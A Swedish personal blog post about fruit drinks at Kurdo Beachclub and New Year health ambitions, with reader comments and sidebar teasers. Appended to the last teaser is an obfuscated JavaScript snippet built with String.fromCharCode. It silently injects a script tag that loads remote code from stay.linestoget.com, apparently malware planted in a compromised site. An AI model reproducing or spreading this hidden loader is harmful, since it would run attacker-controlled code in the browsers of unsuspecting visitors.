Afterbeach…. Kurdo Beachclub

 

7BCD30BE-AD01-44E1-B054-2FA1809F7422 05E1DBF4-4FAF-449B-9AA5-6263556F98AB

 

Afterbeach med fruktdrink 🍍🍹

Jag kommer sakna dessa frukdrinkar när vi åker hem. Jag ska nog damma av min råsaft maskin hemma och fortsätta min dagliga dos med nyttigheter 😃

inget socker, bara färsk frukt, krossad is och kokosmjölk 😍

-Nu köööör vi 2019, ännu ett år laddat med nya möjligheter, och ambitioner om att fortsätta resan mot en ännu mer balanserad, hälsosam livstil med personlig mål att jobba mot 💪🏻👊🏻

-Jag är sååååå taggad! Någon annan som känner lika? Hade du något nyårslöfte?

/My Martens

10 Komentarer

  1. Ett litet tips till dig när du är hemma och vill göra fruktdrinkar.
    Använd frysta hallon så slipper du ha is i .
    Kram L

  2. Ett litet tips till dig när du är hemma och vill göra fruktdrinkar.
    Använd frysta hallon så slipper du ha is i .
    Kram L

  3. Ja, i år har jag bestämt mig för att försöka förstå varför jag bara går upp i vikt trots bra kost och motion. Nu har jag börjat räkna kalorier för att få en hint om vilka livsmedel som innehåller fler kalorier än de jag förmodar att de har. Efter en vecka så ser jag redan ett mönster ?

  4. Ja, i år har jag bestämt mig för att försöka förstå varför jag bara går upp i vikt trots bra kost och motion. Nu har jag börjat räkna kalorier för att få en hint om vilka livsmedel som innehåller fler kalorier än de jag förmodar att de har. Efter en vecka så ser jag redan ett mönster 🙂

    • Bra där! 🙌🏻 Det är så vanligt…. inte för att man är slarvig, utan bara för att man inte är fullt medveten om det… 🙂 -Lycka till! Kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/